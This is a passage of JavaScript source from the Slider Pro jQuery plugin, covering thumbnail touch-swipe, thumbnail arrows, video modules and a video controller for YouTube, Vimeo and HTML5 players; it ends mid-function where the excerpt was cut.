			this.on( 'update.' + NS, $.proxy( this._thumbnailTouchSwipeOnUpdate, this ) );
		},

		_thumbnailTouchSwipeOnUpdate: function() {

			// Return if there are no thumbnails
			if ( this.isThumbnailScroller === false ) {
				return;
			}

			// Initialize the touch swipe functionality if it wasn't initialized yet
			if ( this.settings.thumbnailTouchSwipe === true && this.isThumbnailTouchSwipe === false ) {
				this.isThumbnailTouchSwipe = true;

				this.thumbnailTouchSwipeEvents.startEvent = 'touchstart' + '.' + NS + ' mousedown' + '.' + NS;
				this.thumbnailTouchSwipeEvents.moveEvent = 'touchmove' + '.' + NS + ' mousemove' + '.' + NS;
				this.thumbnailTouchSwipeEvents.endEvent = 'touchend' + '.' + this.uniqueId + '.' + NS + ' mouseup' + '.' + this.uniqueId + '.' + NS;
				
				// Listen for touch swipe/mouse move events
				this.$thumbnails.on( this.thumbnailTouchSwipeEvents.startEvent, $.proxy( this._onThumbnailTouchStart, this ) );
				this.$thumbnails.on( 'dragstart.' + NS, function( event ) {
					event.preventDefault();
				});
			
				// Add the grabbing icon
				this.$thumbnails.addClass( 'sp-grab' );
			}

			// Remove the default thumbnailClick
			$.each( this.thumbnails, function( index, thumbnail ) {
				thumbnail.off( 'thumbnailClick' );
			});
		},

		// Called when the thumbnail scroller starts being dragged
		_onThumbnailTouchStart: function( event ) {

			// Return if a 'mousedown' event follows a 'touchstart' event
			if ( event.type === 'mousedown' && this.thumbnailPreviousStartEvent === 'touchstart' ) {
				this.thumbnailPreviousStartEvent = event.type;
				return;
			}

			// Assign the new 'start' event
			this.thumbnailPreviousStartEvent = event.type;

			// Disable dragging if the element is set to allow selections
			if ( $( event.target ).closest( '.sp-selectable' ).length >= 1 ) {
				return;
			}

			var that = this,
				eventObject = typeof event.originalEvent.touches !== 'undefined' ? event.originalEvent.touches[0] : event.originalEvent;

			// Prevent default behavior for mouse events
			if ( typeof event.originalEvent.touches === 'undefined' ) {
				event.preventDefault();
			}

			// Disable click events on links
			$( event.target ).parents( '.sp-thumbnail-container' ).find( 'a' ).one( 'click.' + NS, function( event ) {
				event.preventDefault();
			});

			// Get the initial position of the mouse pointer and the initial position
			// of the thumbnail scroller
			this.thumbnailTouchStartPoint.x = eventObject.pageX || eventObject.clientX;
			this.thumbnailTouchStartPoint.y = eventObject.pageY || eventObject.clientY;
			this.thumbnailTouchStartPosition = this.thumbnailsPosition;

			// Clear the previous distance values
			this.thumbnailTouchDistance.x = this.thumbnailTouchDistance.y = 0;

			// If the thumbnail scroller is being grabbed while it's still animating, stop the
			// current movement
			if ( this.$thumbnails.hasClass( 'sp-animated' ) ) {
				this.isThumbnailTouchMoving = true;
				this._stopThumbnailsMovement();
				this.thumbnailTouchStartPosition = this.thumbnailsPosition;
			}

			// Listen for move and end events
			this.$thumbnails.on( this.thumbnailTouchSwipeEvents.moveEvent, $.proxy( this._onThumbnailTouchMove, this ) );
			$( document ).on( this.thumbnailTouchSwipeEvents.endEvent, $.proxy( this._onThumbnailTouchEnd, this ) );

			// Swap grabbing icons
			this.$thumbnails.removeClass( 'sp-grab' ).addClass( 'sp-grabbing' );

			// Add 'sp-swiping' class to indicate that the thumbnail scroller is being swiped
			this.$thumbnailsContainer.addClass( 'sp-swiping' );
		},

		// Called during the thumbnail scroller's dragging
		_onThumbnailTouchMove: function( event ) {
			var eventObject = typeof event.originalEvent.touches !== 'undefined' ? event.originalEvent.touches[0] : event.originalEvent;

			// Indicate that the move event is being fired
			this.isThumbnailTouchMoving = true;

			// Get the current position of the mouse pointer
			this.thumbnailTouchEndPoint.x = eventObject.pageX || eventObject.clientX;
			this.thumbnailTouchEndPoint.y = eventObject.pageY || eventObject.clientY;

			// Calculate the distance of the movement on both axis
			this.thumbnailTouchDistance.x = this.thumbnailTouchEndPoint.x - this.thumbnailTouchStartPoint.x;
			this.thumbnailTouchDistance.y = this.thumbnailTouchEndPoint.y - this.thumbnailTouchStartPoint.y;
			
			// Calculate the distance of the swipe that takes place in the same direction as the orientation of the thumbnails
			// and calculate the distance from the opposite direction.
			// 
			// For a swipe to be valid there should more distance in the same direction as the orientation of the thumbnails.
			var distance = this.thumbnailsOrientation === 'horizontal' ? this.thumbnailTouchDistance.x : this.thumbnailTouchDistance.y,
				oppositeDistance = this.thumbnailsOrientation === 'horizontal' ? this.thumbnailTouchDistance.y : this.thumbnailTouchDistance.x;

			// If the movement is in the same direction as the orientation of the thumbnails, the swipe is valid
			if ( Math.abs( distance ) > Math.abs( oppositeDistance ) ) {
				event.preventDefault();
			} else {
				return;
			}

			// Make the thumbnail scroller move slower if it's dragged outside its bounds
			if ( this.thumbnailsPosition >= 0 ) {
				var infOffset = - this.thumbnailTouchStartPosition;
				distance = infOffset + ( distance - infOffset ) * 0.2;
			} else if ( this.thumbnailsPosition <= - this.thumbnailsSize + this.thumbnailsContainerSize ) {
				var supOffset = this.thumbnailsSize - this.thumbnailsContainerSize + this.thumbnailTouchStartPosition;
				distance = - supOffset + ( distance + supOffset ) * 0.2;
			}
			
			this._moveThumbnailsTo( this.thumbnailTouchStartPosition + distance, true );
		},

		// Called when the thumbnail scroller is released
		_onThumbnailTouchEnd: function( event ) {
			var that = this,
				thumbnailTouchDistance = this.thumbnailsOrientation === 'horizontal' ? this.thumbnailTouchDistance.x : this.thumbnailTouchDistance.y;

			// Remove the move and end listeners
			this.$thumbnails.off( this.thumbnailTouchSwipeEvents.moveEvent );
			$( document ).off( this.thumbnailTouchSwipeEvents.endEvent );

			// Swap grabbing icons
			this.$thumbnails.removeClass( 'sp-grabbing' ).addClass( 'sp-grab' );

			// Check if there is intention for a tap/click
			if ( this.isThumbnailTouchMoving === false ||
				this.isThumbnailTouchMoving === true &&
				Math.abs( this.thumbnailTouchDistance.x ) < 10 &&
				Math.abs( this.thumbnailTouchDistance.y ) < 10
			) {
				var targetThumbnail = $( event.target ).hasClass( 'sp-thumbnail-container' ) ? $( event.target ) : $( event.target ).parents( '.sp-thumbnail-container' ),
					index = targetThumbnail.index();

				// If a link is cliked, navigate to that link, else navigate to the slide that corresponds to the thumbnail
				if ( $( event.target ).parents( 'a' ).length !== 0 ) {
					$( event.target ).parents( 'a' ).off( 'click.' + NS );
					this.$thumbnailsContainer.removeClass( 'sp-swiping' );
				} else if ( index !== this.selectedThumbnailIndex && index !== -1 ) {
					this.gotoSlide( index );
				}

				return;
			}

			this.isThumbnailTouchMoving = false;

			$( event.target ).parents( '.sp-thumbnail' ).one( 'click', function( event ) {
				event.preventDefault();
			});

			// Remove the 'sp-swiping' class but with a delay
			// because there might be other event listeners that check
			// the existence of this class, and this class should still be 
			// applied for those listeners, since there was a swipe event
			setTimeout(function() {
				that.$thumbnailsContainer.removeClass( 'sp-swiping' );
			}, 1 );

			// Keep the thumbnail scroller inside the bounds
			if ( this.thumbnailsPosition > 0 ) {
				this._moveThumbnailsTo( 0 );
			} else if ( this.thumbnailsPosition < this.thumbnailsContainerSize - this.thumbnailsSize ) {
				this._moveThumbnailsTo( this.thumbnailsContainerSize - this.thumbnailsSize );
			}

			// Fire the 'thumbnailsMoveComplete' event
			this.trigger({ type: 'thumbnailsMoveComplete' });
			if ( $.isFunction( this.settings.thumbnailsMoveComplete ) ) {
				this.settings.thumbnailsMoveComplete.call( this, { type: 'thumbnailsMoveComplete' });
			}
		},

		// Destroy the module
		destroyThumbnailTouchSwipe: function() {
			this.off( 'update.' + NS );

			if ( this.isThumbnailScroller === false ) {
				return;
			}

			this.$thumbnails.off( this.thumbnailTouchSwipeEvents.startEvent );
			this.$thumbnails.off( this.thumbnailTouchSwipeEvents.moveEvent );
			this.$thumbnails.off( 'dragstart.' + NS );
			$( document ).off( this.thumbnailTouchSwipeEvents.endEvent );
			this.$thumbnails.removeClass( 'sp-grab' );
		},

		thumbnailTouchSwipeDefaults: {

			// Indicates whether the touch swipe will be enabled for thumbnails
			thumbnailTouchSwipe: true
		}
	};

	$.SliderPro.addModule( 'ThumbnailTouchSwipe', ThumbnailTouchSwipe );

})( window, jQuery );

// Thumbnail Arrows module for Slider Pro.
// 
// Adds thumbnail arrows for moving the thumbnail scroller.
;(function( window, $ ) {

	"use strict";
	
	var NS = 'ThumbnailArrows.' + $.SliderPro.namespace;

	var ThumbnailArrows = {

		// Reference to the arrows container
		$thumbnailArrows: null,

		// Reference to the 'previous' thumbnail arrow
		$previousThumbnailArrow: null,

		// Reference to the 'next' thumbnail arrow
		$nextThumbnailArrow: null,

		initThumbnailArrows: function() {
			var that = this;

			this.on( 'update.' + NS, $.proxy( this._thumbnailArrowsOnUpdate, this ) );
			
			// Check if the arrows need to be visible or invisible when the thumbnail scroller
			// resizes and when the thumbnail scroller moves.
			this.on( 'sliderResize.' + NS + ' ' + 'thumbnailsMoveComplete.' + NS, function() {
				if ( that.isThumbnailScroller === true && that.settings.thumbnailArrows === true ) {
					that._checkThumbnailArrowsVisibility();
				}
			});
		},
		
		// Called when the slider is updated
		_thumbnailArrowsOnUpdate: function() {
			var that = this;
			
			if ( this.isThumbnailScroller === false ) {
				return;
			}

			// Create or remove the thumbnail scroller arrows
			if ( this.settings.thumbnailArrows === true && this.$thumbnailArrows === null ) {
				this.$thumbnailArrows = $( '<div class="sp-thumbnail-arrows"></div>' ).appendTo( this.$thumbnailsContainer );
				
				this.$previousThumbnailArrow = $( '<div class="sp-thumbnail-arrow sp-previous-thumbnail-arrow"></div>' ).appendTo( this.$thumbnailArrows );
				this.$nextThumbnailArrow = $( '<div class="sp-thumbnail-arrow sp-next-thumbnail-arrow"></div>' ).appendTo( this.$thumbnailArrows );

				this.$previousThumbnailArrow.on( 'click.' + NS, function() {
					var previousPosition = Math.min( 0, that.thumbnailsPosition + that.thumbnailsContainerSize );
					that._moveThumbnailsTo( previousPosition );
				});

				this.$nextThumbnailArrow.on( 'click.' + NS, function() {
					var nextPosition = Math.max( that.thumbnailsContainerSize - that.thumbnailsSize, that.thumbnailsPosition - that.thumbnailsContainerSize );
					that._moveThumbnailsTo( nextPosition );
				});
			} else if ( this.settings.thumbnailArrows === false && this.$thumbnailArrows !== null ) {
				this._removeThumbnailArrows();
			}

			// Add fading functionality and check if the arrows need to be visible or not
			if ( this.settings.thumbnailArrows === true ) {
				if ( this.settings.fadeThumbnailArrows === true ) {
					this.$thumbnailArrows.addClass( 'sp-fade-thumbnail-arrows' );
				} else if ( this.settings.fadeThumbnailArrows === false ) {
					this.$thumbnailArrows.removeClass( 'sp-fade-thumbnail-arrows' );
				}

				this._checkThumbnailArrowsVisibility();
			}
		},

		// Checks if the 'next' or 'previous' arrows need to be visible or hidden,
		// based on the position of the thumbnail scroller
		_checkThumbnailArrowsVisibility: function() {
			if ( this.thumbnailsPosition === 0 ) {
				this.$previousThumbnailArrow.css( 'display', 'none' );
			} else {
				this.$previousThumbnailArrow.css( 'display', 'block' );
			}

			if ( this.thumbnailsPosition === this.thumbnailsContainerSize - this.thumbnailsSize ) {
				this.$nextThumbnailArrow.css( 'display', 'none' );
			} else {
				this.$nextThumbnailArrow.css( 'display', 'block' );
			}
		},

		// Remove the thumbnail arrows
		_removeThumbnailArrows: function() {
			if ( this.$thumbnailArrows !== null ) {
				this.$previousThumbnailArrow.off( 'click.' + NS );
				this.$nextThumbnailArrow.off( 'click.' + NS );
				this.$thumbnailArrows.remove();
				this.$thumbnailArrows = null;
			}
		},

		// Destroy the module
		destroyThumbnailArrows: function() {
			this._removeThumbnailArrows();
			this.off( 'update.' + NS );
			this.off( 'sliderResize.' + NS );
			this.off( 'thumbnailsMoveComplete.' + NS );
		},

		thumbnailArrowsDefaults: {

			// Indicates whether the thumbnail arrows will be enabled
			thumbnailArrows: false,

			// Indicates whether the thumbnail arrows will be faded
			fadeThumbnailArrows: true
		}
	};

	$.SliderPro.addModule( 'ThumbnailArrows', ThumbnailArrows );

})( window, jQuery );

// Video module for Slider Pro
//
// Adds automatic control for several video players and providers
;(function( window, $ ) {

	"use strict";

	var NS = 'Video.' + $.SliderPro.namespace;
	
	var Video = {

		firstInit: false,

		initVideo: function() {
			this.on( 'update.' + NS, $.proxy( this._videoOnUpdate, this ) );
			this.on( 'gotoSlide.' + NS, $.proxy( this._videoOnGotoSlide, this ) );
			this.on( 'gotoSlideComplete.' + NS, $.proxy( this._videoOnGotoSlideComplete, this ) );
		},

		_videoOnUpdate: function() {
			var that = this;

			// Find all the inline videos and initialize them
			this.$slider.find( '.sp-video' ).not( 'a, [data-video-init]' ).each(function() {
				var video = $( this );
				that._initVideo( video );
			});

			// Find all the lazy-loaded videos and preinitialize them. They will be initialized
			// only when their play button is clicked.
			this.$slider.find( 'a.sp-video' ).not( '[data-video-preinit]' ).each(function() {
				var video = $( this );
				that._preinitVideo( video );
			});

			// call the 'gotoSlideComplete' method in case the first slide contains a video that
			// needs to play automatically
			if ( this.firstInit === false ) {
				this.firstInit = true;
				this._videoOnGotoSlideComplete({ index: this.selectedSlideIndex, previousIndex: -1 });
			}
		},

		// Initialize the target video
		_initVideo: function( video ) {
			var that = this;

			video.attr( 'data-video-init', true )
				.videoController();

			// When the video starts playing, pause the autoplay if it's running
			video.on( 'videoPlay.' + NS, function() {
				if ( that.settings.playVideoAction === 'stopAutoplay' && typeof that.stopAutoplay !== 'undefined' ) {
					that.stopAutoplay();
					that.settings.autoplay = false;
				}

				// Fire the 'videoPlay' event
				var eventObject = { type: 'videoPlay', video: video };
				that.trigger( eventObject );
				if ( $.isFunction( that.settings.videoPlay ) ) {
					that.settings.videoPlay.call( that, eventObject );
				}
			});

			// When the video is paused, restart the autoplay
			video.on( 'videoPause.' + NS, function() {
				if ( that.settings.pauseVideoAction === 'startAutoplay' && typeof that.startAutoplay !== 'undefined' ) {
					that.stopAutoplay();
					that.startAutoplay();
					that.settings.autoplay = true;
				}

				// Fire the 'videoPause' event
				var eventObject = { type: 'videoPause', video: video };
				that.trigger( eventObject );
				if ( $.isFunction( that.settings.videoPause ) ) {
					that.settings.videoPause.call( that, eventObject );
				}
			});

			// When the video ends, restart the autoplay (which was paused during the playback), or
			// go to the next slide, or replay the video
			video.on( 'videoEnded.' + NS, function() {
				if ( that.settings.endVideoAction === 'startAutoplay' && typeof that.startAutoplay !== 'undefined' ) {
					that.stopAutoplay();
					that.startAutoplay();
					that.settings.autoplay = true;
				} else if ( that.settings.endVideoAction === 'nextSlide' ) {
					that.nextSlide();
				} else if ( that.settings.endVideoAction === 'replayVideo' ) {
					video.videoController( 'replay' );
				}

				// Fire the 'videoEnd' event
				var eventObject = { type: 'videoEnd', video: video };
				that.trigger( eventObject );
				if ( $.isFunction(that.settings.videoEnd ) ) {
					that.settings.videoEnd.call( that, eventObject );
				}
			});
		},

		// Pre-initialize the video. This is for lazy loaded videos.
		_preinitVideo: function( video ) {
			var that = this;

			video.attr( 'data-video-preinit', true );

			// When the video poster is clicked, remove the poster and create
			// the inline video
			video.on( 'click.' + NS, function( event ) {

				// If the video is being dragged, don't start the video
				if ( that.$slider.hasClass( 'sp-swiping' ) ) {
					return;
				}

				event.preventDefault();

				var href = video.attr( 'href' ),
					iframe,
					provider,
					regExp,
					match,
					id,
					src,
					videoAttributes,
					videoWidth = video.children( 'img' ).attr( 'width' ) || video.children( 'img' ).width(),
					videoHeight = video.children( 'img' ).attr( 'height') || video.children( 'img' ).height();

				// Check if it's a youtube or vimeo video
				if ( href.indexOf( 'youtube' ) !== -1 || href.indexOf( 'youtu.be' ) !== -1 ) {
					provider = 'youtube';
				} else if ( href.indexOf( 'vimeo' ) !== -1 ) {
					provider = 'vimeo';
				}

				// Get the id of the video
				regExp = provider === 'youtube' ? /^.*(youtu.be\/|v\/|u\/\w\/|embed\/|watch\?v=|\&v=)([^#\&\?]*).*/ : /http:\/\/(www\.)?vimeo.com\/(\d+)/;
				match = href.match( regExp );
				id = match[2];

				// Get the source of the iframe that will be created
				src = provider === 'youtube' ? '//www.youtube.com/embed/' + id + '?enablejsapi=1&wmode=opaque' : '//player.vimeo.com/video/'+ id;
				
				// Get the attributes passed to the video link and then pass them to the iframe's src
				videoAttributes = href.split( '?' )[ 1 ];

				if ( typeof videoAttributes !== 'undefined' ) {
					videoAttributes = videoAttributes.split( '&' );

					$.each( videoAttributes, function( index, value ) {
						if ( value.indexOf( id ) === -1 ) {
							src += '&' + value;
						}
					});
				}

				// Create the iframe
				iframe = $( '<iframe></iframe>' )
					.attr({
						'src': src,
						'width': videoWidth,
						'height': videoHeight,
						'class': video.attr( 'class' ),
						'frameborder': 0,
						'allowfullscreen': 'allowfullscreen'
					}).insertBefore( video );

				// Initialize the video and play it
				that._initVideo( iframe );
				iframe.videoController( 'play' );

				// Hide the video poster
				video.css( 'display', 'none' );
			});
		},

		// Called when a new slide is selected
		_videoOnGotoSlide: function( event ) {

			// Get the video from the previous slide
			var previousVideo = this.$slides.find( '.sp-slide' ).eq( event.previousIndex ).find( '.sp-video[data-video-init]' );

			// Handle the video from the previous slide by stopping it, or pausing it,
			// or remove it, depending on the value of the 'leaveVideoAction' option.
			if ( event.previousIndex !== -1 && previousVideo.length !== 0 ) {
				if ( this.settings.leaveVideoAction === 'stopVideo' ) {
					previousVideo.videoController( 'stop' );
				} else if ( this.settings.leaveVideoAction === 'pauseVideo' ) {
					previousVideo.videoController( 'pause' );
				} else if ( this.settings.leaveVideoAction === 'removeVideo'  ) {
					// If the video was lazy-loaded, remove it and show the poster again. If the video
					// was not lazy-loaded, but inline, stop the video.
					if ( previousVideo.siblings( 'a.sp-video' ).length !== 0 ) {
						previousVideo.siblings( 'a.sp-video' ).css( 'display', '' );
						previousVideo.videoController( 'destroy' );
						previousVideo.remove();
					} else {
						previousVideo.videoController( 'stop' );
					}
				}
			}
		},

		// Called when a new slide is selected, 
		// after the transition animation is complete.
		_videoOnGotoSlideComplete: function( event ) {

			// Handle the video from the selected slide
			if ( this.settings.reachVideoAction === 'playVideo' && event.index === this.selectedSlideIndex ) {
				var loadedVideo = this.$slides.find( '.sp-slide' ).eq( event.index ).find( '.sp-video[data-video-init]' ),
					unloadedVideo = this.$slides.find( '.sp-slide' ).eq( event.index ).find( '.sp-video[data-video-preinit]' );

				// If the video was already initialized, play it. If it's not initialized (because
				// it's lazy loaded) initialize it and play it.
				if ( loadedVideo.length !== 0 ) {
					loadedVideo.videoController( 'play' );
				} else if ( unloadedVideo.length !== 0 ) {
					unloadedVideo.trigger( 'click.' + NS );
				}

				// Autoplay is stopped when the video starts playing
				// and the video's 'play' event is fired, but on slower connections,
				// the video's playing will be delayed and the 'play' event
				// will not fire in time to stop the autoplay, so we'll
				// stop it here as well.
				if ( ( loadedVideo.length !== 0 || unloadedVideo.length !== 0 ) && this.settings.playVideoAction === 'stopAutoplay' && typeof this.stopAutoplay !== 'undefined' ) {
					this.stopAutoplay();
					this.settings.autoplay = false;
				}
			}
		},

		// Destroy the module
		destroyVideo: function() {
			this.$slider.find( '.sp-video[ data-video-preinit ]' ).each(function() {
				var video = $( this );
				video.removeAttr( 'data-video-preinit' );
				video.off( 'click.' + NS );
			});

			// Loop through the all the videos and destroy them
			this.$slider.find( '.sp-video[ data-video-init ]' ).each(function() {
				var video = $( this );
				video.removeAttr( 'data-video-init' );
				video.off( 'Video' );
				video.videoController( 'destroy' );
			});

			this.off( 'update.' + NS );
			this.off( 'gotoSlide.' + NS );
			this.off( 'gotoSlideComplete.' + NS );
		},

		videoDefaults: {

			// Sets the action that the video will perform when its slide container is selected
			// ( 'playVideo' and 'none' )
			reachVideoAction: 'none',

			// Sets the action that the video will perform when another slide is selected
			// ( 'stopVideo', 'pauseVideo', 'removeVideo' and 'none' )
			leaveVideoAction: 'pauseVideo',

			// Sets the action that the slider will perform when the video starts playing
			// ( 'stopAutoplay' and 'none' )
			playVideoAction: 'stopAutoplay',

			// Sets the action that the slider will perform when the video is paused
			// ( 'startAutoplay' and 'none' )
			pauseVideoAction: 'none',

			// Sets the action that the slider will perform when the video ends
			// ( 'startAutoplay', 'nextSlide', 'replayVideo' and 'none' )
			endVideoAction: 'none',

			// Called when the video starts playing
			videoPlay: function() {},

			// Called when the video is paused
			videoPause: function() {},

			// Called when the video ends
			videoEnd: function() {}
		}
	};

	$.SliderPro.addModule( 'Video', Video );
	
})( window, jQuery );

// Video Controller jQuery plugin
// Creates a universal controller for multiple video types and providers
;(function( $ ) {

	"use strict";

// Check if an iOS device is used.
// This information is important because a video can not be
// controlled programmatically unless the user has started the video manually.
var	isIOS = window.navigator.userAgent.match( /(iPad|iPhone|iPod)/g ) ? true : false;

var VideoController = function( instance, options ) {
	this.$video = $( instance );
	this.options = options;
	this.settings = {};
	this.player = null;

	this._init();
};

VideoController.prototype = {

	_init: function() {
		this.settings = $.extend( {}, this.defaults, this.options );

		var that = this,
			players = $.VideoController.players,
			videoID = this.$video.attr( 'id' );

		// Loop through the available video players
		// and check if the targeted video element is supported by one of the players.
		// If a compatible type is found, store the video type.
		for ( var name in players ) {
			if ( typeof players[ name ] !== 'undefined' && players[ name ].isType( this.$video ) ) {
				this.player = new players[ name ]( this.$video );
				break;
			}
		}

		// Return if the player could not be instantiated
		if ( this.player === null ) {
			return;
		}

		// Add event listeners
		var events = [ 'ready', 'start', 'play', 'pause', 'ended' ];
		
		$.each( events, function( index, element ) {
			var event = 'video' + element.charAt( 0 ).toUpperCase() + element.slice( 1 );

			that.player.on( element, function() {
				that.trigger({ type: event, video: videoID });
				if ( $.isFunction( that.settings[ event ] ) ) {
					that.settings[ event ].call( that, { type: event, video: videoID } );
				}
			});
		});
	},
	
	play: function() {
		if ( isIOS === true && this.player.isStarted() === false || this.player.getState() === 'playing' ) {
			return;
		}

		this.player.play();
	},
	
	stop: function() {
		if ( isIOS === true && this.player.isStarted() === false || this.player.getState() === 'stopped' ) {
			return;
		}

		this.player.stop();
	},
	
	pause: function() {
		if ( isIOS === true && this.player.isStarted() === false || this.player.getState() === 'paused' ) {
			return;
		}

		this.player.pause();
	},

	replay: function() {
		if ( isIOS === true && this.player.isStarted() === false ) {
			return;
		}
		
		this.player.replay();
	},

	on: function( type, callback ) {
		return this.$video.on( type, callback );
	},
	
	off: function( type ) {
		return this.$video.off( type );
	},

	trigger: function( data ) {
		return this.$video.triggerHandler( data );
	},

	destroy: function() {
		if ( this.player.isStarted() === true ) {
			this.stop();
		}

		this.player.off( 'ready' );
		this.player.off( 'start' );
		this.player.off( 'play' );
		this.player.off( 'pause' );
		this.player.off( 'ended' );

		this.$video.removeData( 'videoController' );
	},

	defaults: {
		videoReady: function() {},
		videoStart: function() {},
		videoPlay: function() {},
		videoPause: function() {},
		videoEnded: function() {}
	}
};

$.VideoController = {
	players: {},

	addPlayer: function( name, player ) {
		this.players[ name ] = player;
	}
};

$.fn.videoController = function( options ) {
	var args = Array.prototype.slice.call( arguments, 1 );

	return this.each(function() {
		// Instantiate the video controller or call a function on the current instance
		if ( typeof $( this ).data( 'videoController' ) === 'undefined' ) {
			var newInstance = new VideoController( this, options );

			// Store a reference to the instance created
			$( this ).data( 'videoController', newInstance );
		} else if ( typeof options !== 'undefined' ) {
			var	currentInstance = $( this ).data( 'videoController' );

			// Check the type of argument passed
			if ( typeof currentInstance[ options ] === 'function' ) {
				currentInstance[ options ].apply( currentInstance, args );
			} else {
				$.error( options + ' does not exist in videoController.' );
			}
		}
	});
};

// Base object for the video players
var Video = function( video ) {
	this.$video = video;
	this.player = null;
	this.ready = false;
	this.started = false;
	this.state = '';
	this.events = $({});

	this._init();
};

Video.prototype = {
	_init: function() {},

	play: function() {},

	pause: function() {},

	stop: function() {},

	replay: function() {},

	isType: function() {},

	isReady: function() {
		return this.ready;
	},

	isStarted: function() {
		return this.started;
	},

	getState: function() {
		return this.state;
	},

	on: function( type, callback ) {
		return this.events.on( type, callback );
	},
	
	off: function( type ) {
		return this.events.off( type );
	},

	trigger: function( data ) {
		return this.events.triggerHandler( data );
	}
};

// YouTube video
var YoutubeVideoHelper = {
	youtubeAPIAdded: false,
	youtubeVideos: []
};

var YoutubeVideo = function( video ) {
	this.init = false;
	var youtubeAPILoaded = window.YT && window.YT.Player;

	if ( typeof youtubeAPILoaded !== 'undefined' ) {
		Video.call( this, video );
	} else {
		YoutubeVideoHelper.youtubeVideos.push({ 'video': video, 'scope': this });
		
		if ( YoutubeVideoHelper.youtubeAPIAdded === false ) {
			YoutubeVideoHelper.youtubeAPIAdded = true;

			var tag = document.createElement( 'script' );
			tag.src = "//www.youtube.com/player_api";
			var firstScriptTag = document.getElementsByTagName( 'script' )[0];
			firstScriptTag.parentNode.insertBefore( tag, firstScriptTag );

			window.onYouTubePlayerAPIReady = function() {
				$.each( YoutubeVideoHelper.youtubeVideos, function( index, element ) {
					Video.call( element.scope, element.video );
				});
			};
		}
	}
};

YoutubeVideo.prototype = new Video();
YoutubeVideo.prototype.constructor = YoutubeVideo;
$.VideoController.addPlayer( 'YoutubeVideo', YoutubeVideo );

YoutubeVideo.isType = function( video ) {
	if ( video.is( 'iframe' ) ) {
		var src = video.attr( 'src' );

		if ( src.indexOf( 'youtube.com' ) !== -1 || src.indexOf( 'youtu.be' ) !== -1 ) {
			return true;
		}
	}

	return false;
};

YoutubeVideo.prototype._init = function() {
	this.init = true;
	this._setup();
};
	
YoutubeVideo.prototype._setup = function() {
	var that = this;

	// Get a reference to the player
	this.player = new YT.Player( this.$video[0], {
		events: {
			'onReady': function() {
				that.trigger({ type: 'ready' });
				that.ready = true;
			},
			
			'onStateChange': function( event ) {
				switch ( event.data ) {
					case YT.PlayerState.PLAYING:
						if (that.started === false) {
							that.started = true;
							that.trigger({ type: 'start' });
						}

						that.state = 'playing';
						that.trigger({ type: 'play' });
						break;
					
					case YT.PlayerState.PAUSED:
						that.state = 'paused';
						that.trigger({ type: 'pause' });
						break;
					
					case YT.PlayerState.ENDED:
						that.state = 'ended';
						that.trigger({ type: 'ended' });
						break;
				}
			}
		}
	});
};

YoutubeVideo.prototype.play = function() {
	var that = this;

	if ( this.ready === true ) {
		this.player.playVideo();
	} else {
		var timer = setInterval(function() {
			if ( that.ready === true ) {
				clearInterval( timer );
				that.player.playVideo();
			}
		}, 100 );
	}
};

YoutubeVideo.prototype.pause = function() {
	// On iOS, simply pausing the video can make other videos unresponsive
	// so we stop the video instead.
	if ( isIOS === true ) {
		this.stop();
	} else {
		this.player.pauseVideo();
	}
};

YoutubeVideo.prototype.stop = function() {
	this.player.seekTo( 1 );
	this.player.stopVideo();
	this.state = 'stopped';
};

YoutubeVideo.prototype.replay = function() {
	this.player.seekTo( 1 );
	this.player.playVideo();
};

YoutubeVideo.prototype.on = function( type, callback ) {
	var that = this;

	if ( this.init === true ) {
		Video.prototype.on.call( this, type, callback );
	} else {
		var timer = setInterval(function() {
			if ( that.init === true ) {
				clearInterval( timer );
				Video.prototype.on.call( that, type, callback );
			}
		}, 100 );
	}
};

// Vimeo video
var VimeoVideoHelper = {
	vimeoAPIAdded: false,
	vimeoVideos: []
};

var VimeoVideo = function( video ) {
	this.init = false;

	if ( typeof window.Vimeo !== 'undefined' ) {
		Video.call( this, video );
	} else {
		VimeoVideoHelper.vimeoVideos.push({ 'video': video, 'scope': this });

		if ( VimeoVideoHelper.vimeoAPIAdded === false ) {
			VimeoVideoHelper.vimeoAPIAdded = true;

			var tag = document.createElement('script');
			tag.src = "//player.vimeo.com/api/player.js";
			var firstScriptTag = document.getElementsByTagName( 'script' )[0];
			firstScriptTag.parentNode.insertBefore( tag, firstScriptTag );
		
			var checkVimeoAPITimer = setInterval(function() {
				if ( typeof window.Vimeo !== 'undefined' ) {
					clearInterval( checkVimeoAPITimer );
					
					$.each( VimeoVideoHelper.vimeoVideos, function( index, element ) {
						Video.call( element.scope, element.video );
					});
				}
			}, 100 );
		}
	}
};

VimeoVideo.prototype = new Video();
VimeoVideo.prototype.constructor = VimeoVideo;
$.VideoController.addPlayer( 'VimeoVideo', VimeoVideo );

VimeoVideo.isType = function( video ) {
	if ( video.is( 'iframe' ) ) {
		var src = video.attr('src');

		if ( src.indexOf( 'vimeo.com' ) !== -1 ) {
			return true;
		}
	}

	return false;
};

VimeoVideo.prototype._init = function() {
	this.init = true;
	this._setup();
};

VimeoVideo.prototype._setup = function() {
	var that = this;

	// Get a reference to the player
	this.player = new Vimeo.Player( this.$video[0] );
	
	that.ready = true;
	that.trigger({ type: 'ready' });
		
	that.player.on( 'play', function() {
		if ( that.started === false ) {
			that.started = true;
			that.trigger({ type: 'start' });
		}

		that.state = 'playing';
		that.trigger({ type: 'play' });
	});
		
	that.player.on( 'pause', function() {
		that.state = 'paused';
		that.trigger({ type: 'pause' });
	});
		
	that.player.on( 'ended', function() {
		that.state = 'ended';
		that.trigger({ type: 'ended' });
	});
};

VimeoVideo.prototype.play = function() {
	var that = this;
 
    if ( this.ready === true ) {
        this.player.play();
    } else {
        var timer = setInterval(function() {
            if ( that.ready === true ) {
                clearInterval( timer );
                that.player.play();
            }
        }, 100 );
    }
};

VimeoVideo.prototype.pause = function() {
	this.player.pause();
};

VimeoVideo.prototype.stop = function() {
	var that = this;

	this.player.setCurrentTime( 0 ).then( function() {
		that.player.pause();
		that.state = 'stopped';
	} );
};

VimeoVideo.prototype.replay = function() {
	var that = this;

	this.player.setCurrentTime( 0 ).then( function() {
		that.player.play();
	} );
};

VimeoVideo.prototype.on = function( type, callback ) {
	var that = this;

	if ( this.init === true ) {
		Video.prototype.on.call( this, type, callback );
	} else {
		var timer = setInterval(function() {
			if ( that.init === true ) {
				clearInterval( timer );
				Video.prototype.on.call( that, type, callback );
			}
		}, 100 );
	}
};

// HTML5 video
var HTML5Video = function( video ) {
	Video.call( this, video );
};

HTML5Video.prototype = new Video();
HTML5Video.prototype.constructor = HTML5Video;
$.VideoController.addPlayer( 'HTML5Video', HTML5Video );

HTML5Video.isType = function( video ) {
